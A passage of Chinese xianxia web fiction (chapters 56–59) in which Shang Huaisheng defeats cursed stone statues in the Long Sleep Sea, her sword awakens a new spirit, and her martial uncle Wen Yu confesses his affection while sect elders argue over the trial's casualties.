何穆竹无法解释,垂下眼眸。 几人心中隐有猜测,定然是李迎灯等人触动了什么阵法,放出了这些怪物,但他们不肯说实话,他们也无法知晓。 就在众人沉默之时,妙星突然开口,“这或许便是传说中的束神石像。” 束神石像? 这个词语太过陌生,商怀笙与乔意晚面面相觑,大家脸上皆是迷茫之色,只有问玉与何穆竹神色紧绷,霎时变得凝重起来。 “长眠海是神陨之地,千万年前,天界战神御风……也就是你手中这把断龙的主人,联合上古凶兽,于长眠海发起叛乱,要废诸神,开创无神无仙,妖人魔共存的新世界,并说动了许多低阶仙人,一同叛变,最终引发了诸神混战。 长眠海的火烧了三千多个日夜,冥界与人界深受其扰,生灵涂炭。” 这故事商怀笙已经在史书上听过无数次,也早知道结局邪不胜正,众神合力将御风消灭,使得他神魂俱散,并将凶兽重新封印,化为长眠海底镇压业火的屏障,庇佑天下众生。 他讲起来并无新意,商怀笙正觉乏味,却听见妙星说:“诸神沉浸在杀戮中,不顾世间百姓,引得天道震怒,降下天罚,长眠海所有神仙妖魔无一幸免,魂飞魄散,再不如轮回。” “这束神石像,便是当时有些神仙为躲避天罚,取长眠海的补天石捏成自己的模样,注入神识,想借此保留一丝魂魄以待来日,可是天道哪是那么容易糊弄的。” “你的意思是说,这些石像其实是神仙?”商怀笙满脸不解,“这也太扯了吧?” 妙星急忙说:“不是神仙!只是保有一丝神识而已,在这种鬼地方天天受鬼气邪气侵蚀混杂,早不知道变成什么样子了。” 商怀笙:“说了那么多,该怎么办?” “……”妙星咬唇,摇头道,“我不知道。” 商怀笙拿出罗盘,指针所指向的,正是石像所聚集的方向,看来它们也不是平白无故出现,说不定就是为了守护神皇弓。 商怀笙五指收紧,朝前迈出一大步,元妄吓得一个激灵,伸手搭上她肩膀,小声道:“怀笙……” “没事。”商怀笙说着,将他的手甩了下去,目光紧紧盯着那死物一样的石像,又往前迈了一步。 一步,又一步,在她离开人群两米左右的时候,那些石像开始抖动,纷纷转过身,看向她的方向。 “商怀笙。”问玉低声叫她。 商怀笙摆摆手,没有回头,只是握紧了剑柄,“若是被这些东西困在这里,如何对得起那些惨死的修士?” 第56章 第五十六章 新的器灵 陆雪青从侯之口中, 知道了许多他父母的往事,记忆里的父母已经变得十分模糊,他脑海中只有一些或幸福或痛苦的片段。 父母悬壶济世, 在乱世中无偿为百姓诊治, 深受爱戴。可也是这些人,在强权的逼迫下,出卖父母的藏身之所, 害的他们入狱,陆雪青也因此亲眼见证了父母的死亡。 幸福的记忆如泡影般虚幻,无法触摸,痛苦与死亡却沉重而清晰,压在他心口,时时化作噩梦, 父亲被狱卒折磨致死, 母亲悲痛欲绝, 油尽灯枯,撒手人寰。 而侯之的讲述中, 陆书文天赋异禀, 古灵精怪,不仅医术精湛,亦擅长用蛊用毒,虽是医修不善实战, 可要是有人惹到她, 也绝对会吃一番苦头。 “若不是你父亲出现, 她必然不会离开师门,去人界过那些苦日子,白白搭进去自己的性命。” 提起陆雪青父亲, 侯之语气中满是鄙夷与愤懑,在他看来那就是个十恶不赦的登徒子,诱惑了陆书文,将她拐带到人界。 “我父母恩爱和睦。”陆雪青辩解道,“若我母亲真是修士,有法术傍身,怎么会被凡人残害?” 侯之的话中有诸多疑点,陆雪青并不尽信,可他知道陆书文喜爱青绿色的衣裳,喜甜辣口味,甚至知道她曾养过一只鹦鹉,十分宠爱。 陆雪青出生时那只鹦鹉已经死了,但他常听陆书文提起,说那只鹦鹉如何可爱又通人性,父亲还一度调侃陆雪青就是那只鹦鹉的转世,陆雪青每每都要抱怨一番。 拜入天泉医谷后,他知道许多往事,真真假假,无从辨别,陆雪青抬眸望向阁顶,阶梯旋转蜿蜒,仿佛一张巨网,将他网罗其中。 “你母亲是付出了极大的代价才离开天泉医谷的。”侯之回答道,“你父亲一介凡人,为了见你母亲,误入天泉医谷的禁地,被妖物所伤,危在旦夕,你母亲为救他,偷学了归元鬼针,耗尽一身修为留住了他性命,自那以后她的身体便比凡人还要虚弱。” 陆雪青:“……” 侯之一双深邃的丹凤眼注视着他,意味深长地说,“听闻你也学会了归元鬼针,以后不要再用了。免得步你母亲的后尘。” * 从曲水清阁离开,已是深夜,月明星稀,日升天阁外仍然聚集着许多人,各大门派的长老都在,似乎已经接到了罗生镜即将开启的消息。 凌云已经在这里等了半日,镜面漆黑如墨,倒映着周围众人焦急忧虑的面容,凌云摩挲着腰间的佩剑,目光落在镜面地步一处细小的裂纹,本就焦灼的心变得愈发急躁忧愁。 陆雪青来到池修身侧,“谷主,罗生镜还是没有反应吗?” “回来了?”池修抿唇,扬起一个很轻的微笑,很快落了下去,“并未,从早到晚,一点反应也没有。” 怀笙…… 陆雪青揪心不已,想起商怀笙临走时的场景,他才刚刚与她相见,若是再次分离…… “亮了!” 突然有人尖叫,打断了陆雪青的思绪,众人的目光齐刷刷地头像罗生镜,只见一道月光掠过镜面,如同石子投入湖面,泛起一圈圈青白色涟漪,陆雪青浑身一紧,下意识握紧了双拳。 镜中的画面逐渐清晰,首先映入眼帘的便是——尸体。 数十只青灰色小妖的尸体,横七竖八地躺在血泊中,它们是本次境外试炼中负责传讯的小妖,灰耳,体型小,擅长飞行,性情温顺,也容易驯养,最主要的是,它们生命力顽强,能隐蔽自己的气息,所以在很多大妖分布的地方也有灰耳的痕迹,它们的双目能通过法术与特定材质的镜面连接,天机阁常用它们来勘探地形。 可现在它们的眼睛全部变成了浑浊的白色,身体上布满了黑色的经络,死状凄惨。 “这是……邪气侵体……”池修的声音罕见地带上一丝颤抖,“看地形是在长眠海外滩,并未深入。连灰耳小妖都不能抵御,他们到底放出了什么东西?” 镜中的画面突然切换,显出一处破败的断壁残垣,陆雪青还没来得及看清,便听见一声尖叫哭嚎。 “啊——!是师姐,是师姐!她怎么变成这样了?那是师姐吗?” 镜面中布满了石像,他们有着粗糙的人形轮廓,身上布满青苔和裂痕,排列整齐地倒在地上,最可怕的是,它们的面部是清晰的人类的脸庞,就像是贴上了人/皮/面具一样,甚至能看清脸上的血管和纹路。 每一张脸上都带着惊恐狰狞的神色,就像是被从脑袋上生生剜下来的一样。 “束神石像……” 人群中不知道谁说了一句,瞬间整个观礼台都炸开了锅,陆雪青看到一个三十岁左右的男子扑到说这话的男人面前,抓住了他的衣领。 “解无欢你在说什么!束神石像?!这种东西不都是传说吗,怎么会沓樰團隊出现这里!” 凌云仔仔细细地看了镜面中所有的石像,确定没有凌盛之后才稍稍松了一口气。 可这只是一只残存的小妖传回来的影像,长眠海那么大,束神石像又极其危险,他没有看到凌盛存活,已经担忧地无法呼吸。 慌张与害怕压在心口,听到解无欢的声音,变成了怒火:“年年都有人去长眠海巡逻,为何从来没发现束神石像的迹象,你们组织这次境外试炼,究竟是有什么目的!” 解无欢神色紧绷,早上送别何穆竹时的从容荡然无存,他甩开凌云的手,目光触及凌云泛红的眼眶,即将脱口而出的责骂也变成了平静的一句:“我的亲传弟子也在其中。” 凌云猛然僵住,解无欢又道:“我卜算数次,若不是确定其中藏有机缘,又怎么会放心穆竹去那种危险之地?” “……”凌云放开他,神色凄然,“可你又不是不知,长眠海变化无常,连你师父都不敢妄下定言。” 解无欢陷入沉默,观礼台上的气氛也因两位大门派宗主之间的争斗而变得凝重起来,从一开始激烈的讨论变成了窃窃私语。 陆雪青紧紧盯着镜面,指甲都嵌入了血肉中,他坚信商怀笙绝对不会出事的,绝对不会的。 忽的,画面开始剧烈摇晃起来,又聚焦在一片黑沉的海滩,空气中飞沙走石,一道白色身影在尘埃与碎石间穿梭,手中的重剑划出数道暗红色弧光。 怀笙! 看到商怀笙安然无恙,陆雪青终于放心下来,解无欢和凌云也在间隙中看到了安然无恙的何穆竹和凌云,不由得长出一口气。 可待他们看清那些从四面八方聚拢而来的石像,心脏又提到了嗓子眼。 “怀笙,小心不要被碰到!” 身后传来元妄的警告,可惜已经迟了。 最前排的一只妖怪已经抓住了断龙的剑尖,它的手掌裂开,出现一个漆黑的漩涡,将断龙吸入其中,断龙顿时发出刺耳的嗡鸣声,剑身的暗纹逐渐变淡,石质纹理犹如瘟疫般蔓延开来。 商怀笙的呼吸微微急促,海上吹来一阵阴冷的风,吹得她后背发凉,四周石像缓缓逼近,沉重的脚步声碾过地面,碎石簌簌作响。 她对这些石像出手并非鲁莽,而是身后的海浪突然翻涌,开始涨潮了,他们也被逼着向前方走进,那些石像察觉到他们的动作,展现出了攻击的姿势。 被海浪吞没也是死,打不过这些妖怪也是死,横竖都是死,倒不如试上一试。 竟然它们是神识所化,她手握神器,硬碰硬不一定谁能碰的过谁。 但见到断龙也开始展现出石化的迹象,商怀笙的心开始慌了。 “商怀笙,冷静些。”问玉的声音传过来,商怀笙做了个深呼吸,开始用心感受手里的断龙。 问玉曾经告诉她,神器都是有器灵的,断龙的器灵殉主,但断龙却没有因此失去神力,成为废铁,那边说明它早就孕育出了新的器灵。 石化的痕迹如蛛网般蔓延,剑刃,剑脊,剑柄…… 问玉的语气变得急切起来,“商怀笙,快松手!” 商怀笙听见了,却握得更紧,她能感受到,断龙并没有被真正石化,剑身深处,有一丝微弱的脉动,像是被封印的生命,挣扎着想要破壳而出。 抓住她的怪物面带微笑,发出令人牙酸的咯咯声,阴森诡异,其他石像也聚拢过来将她包围,带着令人窒息的压迫感。 “怀笙——” 眼看元妄与问玉都要冲过来,商怀笙向后摆摆手,低头凝视着手中石化的断龙,指尖轻轻抚过剑身,低声道:“断龙……破!” ——铮! 一道刺目的红光骤然从剑心迸发,石壳寸寸碎裂,露出断龙的模样,剑身流淌着暗红色的光芒,暗纹也变得异常璀璨。 剑身微抖,商怀笙也感受到了它的心情,手腕一翻,脱离了石像的束缚,剑锋指向它的脖颈。 凭他是什么神仙妖怪,从前也只不过是断龙的手下败将而已! 第57章 第五十七章 你还想找谁? 商怀笙从前压制断龙, 靠的是一身蛮力,如今却懂了什么叫做得心应手,断龙似能感应到她心中所想, 她所要使出的剑法, 她下一步的行动,断龙都能提前预知,十分配合。 剑尖刺在石像脖颈, 挑出几粒碎石,它的身体又很快重聚,看似未能对它造成什么影响,商怀笙却敏锐地捕捉到那碎石之下一点金光。 细细想来,这些束神石像似乎都以眼前这尊女像为主,交流是以她为中心, 她伤了那女像, 周围的石像便突然暴动起来, 口中发“咔咔”的声响,愤怒异常。 商怀笙心中有了主意, 剑势骤然一变, 身形如流云般轻盈,刹那便突破石像的包围,来到那尊女像的身后,剑光凌厉, 如寒月坠落, 红芒刺穿石像胸膛, 碎石飞溅处,一枚鸽卵大小的金色晶体正闪烁着诡异的光芒。 就是这个! 商怀笙剑尖一挑,金色晶体被精准挑出, 落入她掌心,触感温热湿滑,光芒也霎时黯淡。 石像的动作骤然停滞,随后轰然倒塌,一个接一个的,惨叫混着海风,化为一堆毫无生机的碎石。 商怀笙手里的晶体也化作一道金光,注入断龙剑身,断龙周身红芒暴涨,刺眼的光芒让众人忍不住闭上了眼睛,商怀笙用手抚摸着剑身,体内也感受到一股汹涌的灵力,在她体内聚集,翻涌,与她之前升阶时一模一样,甚至比上次更加强烈。 慢慢地,断龙的光芒收敛,渐渐恢复本色,商怀笙拍拍剑柄,心道一声“好样的”,便把它塞回剑鞘。 再抬眸,眼前众人神色各异,乔意晚等人满脸的惊讶与崇拜,冲上来将她围住。 “这便是神器啊,当真是神器!”乔意晚激动地不知道该说什么,抓着妙星的胳膊狠狠摇晃。 妙星嫌弃地挥了下胳膊,“我第一次见到神器出鞘,当真所向披靡!” “怀笙,刚才那情况真是险象环生,还好你没事。”元妄检查了一圈,确定她没受皮外伤,才松了口气,“以后可不要如此鲁莽了。” “是,师兄。” 商怀笙嘴上应着,目光却越过元妄肩膀,看向人群后的问玉。 他面带浅笑,似乎在赞扬她。商怀笙得意地扬起唇角,冲他挑挑眉,又扫到凌盛等人阴沉的脸色,轻哼一声,表示不屑。 这群人故意将石像妖引向她,最后还不是得靠她来解决? 一群菜鸡。 何朝兰神色复杂,目光瞥向一侧的问玉,喃喃道:“刚才那是……流云裁月?” 她声音极小,何穆竹听到了,却不明白她的意思,“什么?” 问玉转过身,神色从容不迫,眼神中带着几分骄傲,似乎在说:没错,是我教的。 何朝兰抿紧唇,想当年她初见问玉便是在九天盛会,彼时她尚且年幼,见他在弟子论道上一招“流云裁月”大杀四方,哪怕手持木剑,看似慵懒散漫却能一招制敌,速度疾迅如风,姿态轻盈洒脱。 赛后诸多修士向他请教,问玉说这是他自创剑法,想要学习便要放弃自身已经结器的武器,引得无数人望而却步。 如今这剑法却出现在商怀笙身上,又有传闻三山宗与四水阁不睦多年,实在叫人浮想联翩。 不止何朝兰,罗生镜外的解无欢和凌云自然也看到了商怀笙的表现,在惊叹商怀笙实力的同时,他们同样也在猜测商怀笙与问玉之间的联系。 解无欢道:“这流云裁月不是问玉独家秘籍,不肯外传吗?” 当年他们也是亲眼见到问玉用剑,那身姿留在解无欢脑海中,后来他尝试各种方法来破解他的招式,历经百年却也无解。 问玉不肯教习别人也并非是必须要放弃灵器,而是他懒得教,用他的话来说“我教了他们我便是他们师父了,我哪里需要那么多徒弟?” 问玉此人,生性散漫不爱拘束,更是恃才放旷目中无人,觉得那些人天资愚钝,不配做他的徒弟。 “看来闭关百年,他的心性也有所转变,竟也愿意收徒了。”解无欢语中带着调侃,“可那个叫商怀笙的,不是宋良白的徒弟吗?” 凌云轻嗤一声,并不愿与他如同好友一样谈论这些,“他爱教就教,陈兄什么性子,你又不是不知道。” 他嘴上并不在意,心里却不由得起疑,想起问玉曾与他提起心悦一女子,那人“性情顽劣”…… 啧,听种种传言,那商怀笙也可称得上“顽劣”二字。 问玉他该不会视礼法为无物,觊觎他师兄的弟子吧……还是曾经纷争不断,已经分道扬镳的师兄…… 凌云皱起眉,看着镜中已经吓傻了的亲儿子,又看看满脸宠溺笑容的问玉,心底忽然涌起一阵疲惫。 * 海水拍打着商怀笙的指尖,一些半透明的丝状物缠上她的皮肤,商怀笙举起手指,问妙星:“这是什么?” “……是海里妖怪的排泄物。” “啊?!!呕——!” 商怀笙飞速甩动手指,脸色铁青,元妄掏出手帕来给她擦手,对一旁笑得开怀的妙星道:“不要骗怀笙。” 妙星微微收敛笑容,“我没有骗她,反正不是什么好东西。” 商怀笙用那手帕狠狠擦拭手指,擦完觉得那手帕也脏了,便要扔掉,元妄夺过去,用清洁咒清理干净,“这手帕上的牡丹是你十二岁时绣了送给我的,可不能乱扔。” 商怀笙道:“难怪绣的这样丑,我还以为是哪家女修给你留的定情之物。” “我从不会将前任的东西留在身上。”元妄道。 商怀笙撇撇嘴,“师兄真是无情。” 元妄笑笑,“咱们也在这里休整了一个时辰了,是不是该上路了?” 商怀笙扫视一圈,大家都分散坐在附近,各个都神色倦怠,便道:“稍等。” 商怀笙刚处理完石像妖,宋惜光队伍里便有两人迫不及待地用传送符回去,丰宝队伍中也有一人离开,结束了比赛,他们一走,剩下的人像是被浇了冷水一般,士气大跌,问玉便提起在此休整,大家也好整理心情。 商怀笙队伍的人虽然也被吓得不轻,但无一人退缩,妙星难受得直呕吐,南宫汀劝他,他也不肯离开。 商怀笙甚是欣慰,不愧是她,和师兄一起选的人。 队伍中两人不由分说地离开,宋惜光大受打击,已经对着海边坐了一个时辰,一动不动的像个石块。 问玉站在他身后不远处,静静地守着他,也没上前安慰。 商怀笙来到问玉身边,问道:“你们能走了吗?” 问玉的目光看向宋惜光,“或许不能。” “那我们先走?” “不行。” 商怀笙本是想来告知他一声,却不想他如此决绝地拒绝了,便问:“为何?咱们又不是一个队伍的。” “长眠海如此凶险,你也看到了,人多力量大。”问玉上下扫视她,轻声问,“你又升阶了?” 商怀笙瞳孔瞪大,“你怎么看出来的?!” 她这次可一点都没表现出来。 “猜的。”问玉眼底闪过一丝狡黠,“那金色晶体,是那怪物的神核,也就是俗话说的妖丹,大补之物。” “难怪我觉得体内灵气充盈,竟也不觉得饿。” 说到饿,问玉便想起她上次说他煮的面条不好喝,当时不理解,现在却明白过来,“你觉得我煮的面不好吃,还吃了那么多?” “啊?”商怀笙好半天才反应过来,“我,我那是……饿的。你又不给我别的食物。” 问玉冷哼一声,“早知道你如此狼心狗肺,忘恩负义,当初就该让你在那里自生自灭,白白引出这些事端来!” 狼心狗肺。 忘恩负义。 两个词像两把剑插在商怀笙身上,她还无法反驳,小声道:“我真的知错了,师叔,你不要生气。” “你……” 她这样服软,问玉反倒没了法子,原先说什么都要顶嘴的人,此刻却像是拿捏住了他的命门。 “你这样乖巧,还让人有点不适应。” “理亏还顶嘴,那不是找死吗?” “呵,你也知道自己理亏。” 商怀笙谦卑道:“我真知错了,若再选一次,我定然不会对师叔那样。” 问玉眼眸一眯,语调冷了几分,“你还想找谁?” “找个……” 商怀笙还没说出来,便见问玉脸色黑沉,像是要吃人一样。 问玉语气中带着警告:“商怀笙,你最好是想清楚了再说。” 商怀笙:“……师叔,我有个问题,你是不是喜欢我啊?” “咳——!!” 前方的宋惜光突然动了起来,打断了两人的对话,只见他摇摇晃晃地起身,僵直地向着左边的方向走去,垂首低眸,似是不敢看二人,余光却忍不住向这边瞟。 他脚步越来越快,甚至带上几分急促与心虚,直到逃离两人的视线,才在自己其他的队友身侧坐下。 问玉收回目光,看向商怀笙,商怀笙抬头与他对视,刚才的问题没得到答案,她也没有再追问,而是笑道:“他起来了,咱是不是能走了?” 问玉:“……” 第58章 第五十八章 真心 再入天音林海, 一堆人早没了刚开始时的轻松,罗盘的指针始终指向一个方向,他们不可避免地要再次经过刚才遇到束神石像的地方。 腐木在脚底碾出细碎的声响, 林中寂静异常, 没有丝毫生物存在的气息,商怀笙的目光钉在地上一滩血肉混杂的碎块之上,胃里一阵翻涌。 束神石像被灭, 受他们法术影响的事物也恢复了肉身,地上那一滩,便是刚才变成石像后碎裂的常嘉石。 呕——! 有人忍不住吐了出来,商怀笙别开视线,忍着恶心催促大家加快脚步,余光瞥见李迎灯正低着头若有所思, 心中不由得涌起嫌恶鄙夷。 常嘉石是李迎灯的师弟, 平时唯李迎灯马首是瞻, 对他唯命是从,可到了这种时候, 李迎灯却毫不犹豫地抛弃了他, 事后竟也没有半分悔改之意。 此人不仅心机阴沉,更是没有半分良知。 商怀笙越看李迎灯越觉得不顺眼,他们四人又一直跟在商怀笙他们身后,她便开口问道:“既然束神石像的难题解了, 你们为何还要与我们同行?” 凌云脸上划过一丝羞惭的神色, 局促地看向李迎灯, 后者却不慌不忙,举起罗盘,“指针指引, 只是恰与你们同路而已。” “这地方这么大,走那条路不行?怎么偏偏跟在我们身后,是想有危险的时候推我们出去挡吗?”商怀笙质问道。 “姑娘何出此言?”李迎灯眯起眼睛,笑得像只狐狸,满是算计的意味,“长眠海现象环生,多一个人,多一份力量,问玉道长,您说是不是?” 他将矛头转向队伍中资历最老的问玉,问玉似是没有听到他的话,只将目光投向远方,脸上带着拒人于千里之外的凉薄。 冗长的沉默中,尴尬悄然蔓延开来,其他人面面相觑,李迎灯脸色通红,也是有些挂不住面子,“问玉道长,您说是不是?” 问玉这才转过身来,淡淡地瞥他一眼,语调冷漠,“并非所有人都有用处,贪生怕死,自私自利之人,有时更是累赘。” “你——!” 凌云拉住李迎灯手腕,极力阻拦,“都这种时候了,你何必要去招惹问玉道长?” 李迎灯满心不悦,瞧着问玉那副高傲的姿态便觉得不爽,一个困于合灵期百年的半吊子修士,怎么敢在他面前摆这幅姿态?! “行了。”何朝兰也低声呵斥,“有求于人,便要有求人的姿态,若不是商姑娘,你我早化为一滩碎石。” 何朝兰拱手作揖,“商姑娘,见谅。林海中地势复杂,妖魔横行,若姑娘不介意,还请姑娘允准我们与姑娘同行。” 商怀笙吃软不吃硬,见她态度还算温和,便没再出言讽刺,点点头便继续赶路,只是心底对她剑上的血迹始终有几分疑心。 又不知走出多久,他们在枯木中穿行,木片簌簌地落在肩膀上,带着腐朽的味道,越往里树木越茂密,商怀笙不得不用断龙劈开挡路的树枝,为大家开辟出一条道路。 他们跟着罗盘的指引,却又像是漫无目的,不知道要走到什么时候,也不知何时会有转机,在这片黑暗与腐朽交织的枯木林里,他们的身体似乎也与周边的环境融为一体,靠着虚幻的目标麻木地前行。 这种地方消耗得不止是体力,还有人的精神,商怀笙机械地劈开前方的枯木,眼神空洞呆滞,视线中一抹绿色划过,她以为只是一瞬幻觉,但一抬头,竟看到大片的绿意,脚下的腐叶也变成变成了青草。 “我是出现幻觉了吗?”商怀笙喃喃道。 “不是幻觉。”乔意晚与丰宝已经小跑过去,躺在了柔软的青草地上。 嫩芽在枝丫中舒展,沾着晶莹露珠,几棵古树亭亭如盖,郁郁葱葱,树荫下竟有片小小的空地,铺满绿草,像是天然的地毯,草木清香弥漫,甚至有清脆鸟鸣。 此情此景,就算是幻境,也在这死寂的林海中点亮了一丝希望,让众人疲惫的精神与身体获得片刻喘息,商怀笙放下断龙,找了片树荫坐下,草叶拂过指尖,带来久违的温和触感。 青草,绿树,鸟鸣,还有淡淡的肉火烧的香气。 商怀笙闭着眼睛,咽了下口水,这最后一条肯定是她的幻觉了,但这香味越来越浓,萦绕鼻尖,似乎张嘴就能吃到。 不是,这好像就在她嘴边! 商怀笙猛地睁开眼,一只骨节分明的手递到眼前,手中托着个圆滚滚的肉火烧,油皮泛着琥珀色的光,边缘焦脆,还冒着热气。 “你从哪里弄来的?!”商怀笙撞进问玉满是笑意的眼眸,她愣了愣,接过来咬了一大口,肉香弥漫,她满足地发出一声喟叹,“哇,真香——!哪家的?” 问玉在她身侧盘腿坐下,道:“独家的。” 商怀笙大口咀嚼,吃了半个,才想明白他话里的意思,“你自己做的?” 问玉挑眉,“不然呢?” “你……自己做的?你竟然还会做这些?!” 商怀笙不由得想象问玉在厨房里忙忙碌碌做这些的模样,与他现在这幅清冷矜贵不食人间烟火的样子真是大相径庭。 “我又不是只会做面条。” 问玉从怀里摸出干净的帕子,递给商怀笙。周围想起风吹树叶的沙沙声,数道目光投过来,他抬头扫过去,那些目光又纷纷闪避,低头假装整理行李。 只有两个人直白地迎上他的目光,一个元妄满脸的不忿,似乎他是个觊觎良家姑娘的登徒子,恨不得用眼神杀死他。 问玉挺直腰板,肩膀微微向着商怀笙的方向靠过去,又从储物石中掏出一个热腾腾的肉火烧,递给已经吃完的商怀笙。 第一个火烧已经解了馋,商怀笙便慢慢品味第二个,在心底感叹问玉的手艺还不错,吃着吃着,却忽然察觉出一丝不妥——她和问玉是竞争对手,这样的关系,是不是过从亲密? 商怀笙猛地抬头,却见并未有人看向这里,只有丰宝鬼鬼祟祟地瞄她,一副想问又不敢问的模样。 商怀笙咽下口中的火烧,慢慢地往旁边挪了挪位置,和问玉拉开距离。问玉瞧着她泛红的耳尖,眉目间带着浅淡的笑意。 这样静好的时刻,却被另外一道直白地眼光给破坏了,妙星直勾勾地盯着商怀笙,手里的肉火烧,双眼放光,不停地咽着口水,肚子也开始配合地发出响声。 商怀笙抬头,他捂着肚子,满脸羞涩,“我、我不饿的,我这里还有元妄道长给的干粮。” 干粮与肉火烧自是不能比的,何况这肉火烧香得很,勾起肚子里的馋虫。 商怀笙低头看着手里的半块饼,又看看问玉,想问他那里还有没有,但对上问玉笑眼,不太好意思,便要把自己剩的递过去,“你若是不嫌弃……” “啪——!” 一块油纸裹着的肉火烧飞到妙星手中。 问玉道:“你吃吧,正是长身体的时候。” “多、多谢道长。” 妙星想起自己还曾在心里抱怨问玉,心底涌起短暂地愧疚,但很快生理饥饿战胜了那一丝羞耻心,他面对着树干,小口咬着火烧,细嚼慢咽。 和他一比,商怀笙觉得自己的吃法是有些太粗鲁了,她还在考虑要不要慢点吃,便听见妙星发出一声哀嚎,原来是乔意晚趁他不备,狠狠地咬了一大口。 “吃的这么香,我就尝一口都不行?” “你咬了那——么大一块!!” “你不还有干粮吗?” “你、你……呜……” 妙星躲到元妄身后,含泪大口吃着了剩下的火烧,商怀笙也已经吃完了,她接过问玉递来的帕子擦嘴,又忽然想起自己在海边问他的话。 “师叔,你是不是……” “是。” “……” 空气中的清香骤然变淡了,鸟鸣也消歇,商怀笙耳边只剩下自己擂鼓般的心跳,震得耳膜嗡嗡作响。 “我还没问呢。”商怀笙说。 “是吗,我还以为,你想继续那个问题。” 问玉眼中盈满笑意,望着商怀笙震惊的呆滞的模样,竟也觉得十分可爱,看来他真的无药可医。 商怀笙张了张嘴,舌头却像是打结了一样,一个字也吐不出来。大脑好像生了锈,艰难运转许久,才说出一句话来,“你,为什么啊?” 她环顾四周,压着声音,“是因为我破了你的道身吗?” “……” 问玉脸上的笑意骤然消失,暗自庆幸自己刚才设下了隔音结界,否则在一群修士面前,这音调根本瞒不住。 他早知道商怀笙是块木头,却不知道她木到令人发气发笑的地步。 “你怎么会这么想?”问玉反问她。 “因为师——书上说,人对自己的第一个男人,或是女人,总会有种别样的感觉,你守身多年,又在那种情况下被我破了道身,恨意与怒意交织,你错把愤怒当成了心动,也是有可能的。” 商怀笙实在想不出问玉喜欢自己的理由,他恢复记忆后就突然喜欢上了? 这真的不是一种报复的方式吗? 问玉嘴角僵硬地勾了一下,无奈道:“商怀笙,你知道自己在说什么吗?” “我的意思是……” “算了,我管你懂不懂,反正你要对我负责的。” 商怀笙摸摸脑袋,一本正经地看着他,露出迷惑的神色,“哎呀,男人心海底针,你们的心思可真难猜。” “……”问玉的嘴抿成一条线,“我都这样直接了当地告诉你了,你不还是不信?” “那你恢复记忆之前看我种种不顺眼,恢复记忆之后就突然对我又亲又抱,还说喜欢我,总不能是被夺舍了不成?” “种种不顺眼?”问玉眉头向下一压,眸中蕴着一丝恼怒,伸出手指指向商怀笙额头,“你仔细想想,我若真如此,为何教你这许多?!” “你……惜才?” 问玉脸色阴沉,没再回话,他解开结界,走向宋惜光,一言不发地在他身侧坐下,留下商怀笙一人呆坐着,思绪万千。 第59章 第五十九章 少两个人 问玉一出来, 外面鸦雀无声,静默得可以听见树叶落下的声音,以及妙星吃干粮时的咀嚼声, 在寂静的空气中突兀异常。 过了好久, 妙星咽下最后一口面饼,低声询问乔意晚,“问玉道长怎么生气了啊?你们刚才在聊什么, 怎么不聊了?” 乔意晚:“……” 元妄的脸色也好看不到哪里去,“大人的事情小孩少打听!” 他转头看向商怀笙,她抱膝坐在树下,眼神盯着脚边的绿草,似是在放空,元妄脸上浮现一抹担忧, 犹豫片刻, 终究还是没有上前。 南宫汀轻笑一声, “你们常春阁真是有趣。说起来,问玉是陈年玉的亲弟弟, 商怀笙是宋良白的徒弟, 这两个人……” 她话没说完,元妄的目光扫过来,南宫汀便噤了声,嘴角留一抹浅笑, 带着淡淡的戏谑之意。 妙星心中好奇, 但见这几个人都没有会跟他讲的意思, 便将主意打到了乔意晚头上,小声问道:“乔姑娘,他们在说什么?” 乔意晚定定地盯了他半晌, 盯得妙星脊背发麻,摇头道:“不知,不过看商怀笙和问玉这幅样子,看来三山宗和四水阁当真是势同水火啊。” “嗯,你说得对。”妙星赞同地点头。 众人眼神交汇,或窃窃私语,或暗中传音,商怀笙全然不知自己已经成为话题中心,想着刚才问玉的话,心情可以用糟糕来形容。 问玉说喜欢她?开什么玩笑。 囚龙谷里是情况紧急,问玉被逼无奈;事后商怀笙强硬地给他下咒始乱终弃,又装作若无其事地出现在他面前,不思悔改,事情败露之后还花言巧语试图蒙混过关。 商怀笙自己想想,都觉得她罪大恶极,问玉没把她绳之以法已经是格外开恩,可他居然还说喜欢她? 难道这是一种新型的报复手段吗? 商怀笙绞尽脑汁去想问玉喜欢自己的原因,师兄师姐常夸她漂亮,可问玉修仙界从不缺美貌之人; 或是因为她强大?但她除了力气大点,法术也并不精通。 难道……是因为断龙? 商怀笙脑中灵光一闪,想起来了,从囚龙谷回来,问玉虽然失去记忆,但依然与她多有接触,便是因为断龙。 断龙是问玉带回来的,他曾经想驯服断龙而不得,成为执念,所以才对她,断龙的新剑主,十分感兴趣。 啧,但对断龙感兴趣,怎么延伸出喜欢她的啊?爱屋及乌? 商怀笙脑子都要转烧了,也想不明白问玉喜欢她的理由,她想得心烦,干脆不去想了,倚在树上放松身体,感受着拂面清风与身下柔软的草地,草叶随风起伏,像是在呼吸一般,一上一下,一上一下…… 不对劲! 商怀笙猛地睁开眼睛,手上的罗盘开始加速转动起来,李迎灯与丰宝几人的罗盘亦是如此,大地开始晃动,像是地壳深处有什么东西要窜出来。 “快离开地面!” 何穆竹大喊一声,但已经迟了,地面鼓起一个巨大的山丘似的包,又迅速向内凹陷,像是一张大嘴,将所有人都吞入其中。 强烈的失重感伴随着一阵眩晕,商怀笙的视野也变得昏暗,失去意识前,似乎有人在向她靠近,商怀笙费力抬起胳膊,紧紧抓住了对方。 * 罗生镜在短暂地运作之后,再一次暗了下去,陆陆续续地有参加境外试炼的修士出来,仅仅过去一天,便有十余人选择了放弃。 境门外哭嚎声一片,断胳膊断腿的,瞎眼的耳聋的,师门全军覆没只能由他人带回尸体的,境况凄惨。 问起里面的情况,各有各的说法,各有各的险境,他们收集了那么多关于长眠海的资料,光是书籍就有十多本,可是真正深入其中,才发现那些犹如水滴入海,微不足道。 经过清点,算上身亡的和放弃后回来的,境外试炼中只剩下三十九人,这其中或许还有已经身亡却无人带回尸体的。 原本还在期待着借这场比赛大展宏图之人,能完好无损地出来都算是万幸。 消息如长了翅膀般飞出镇化山,不过半日的功夫,日升天阁内便聚满了人,原本并未来参加九天盛会的各门派掌门,已然出现在现场,对此次境外试炼提出了质疑。 “时隔多年又一次重启境外试炼,我还以为你们已经做好了准备,不会让当年的悲剧重演?可你看看,你看看外面!我的徒弟金丹破碎,修为尽失!” “你们以神器为名开启这次试炼,神器呢?神器在哪里?!我看你们就是想让这些无辜的修士去帮你们开拓道路!” 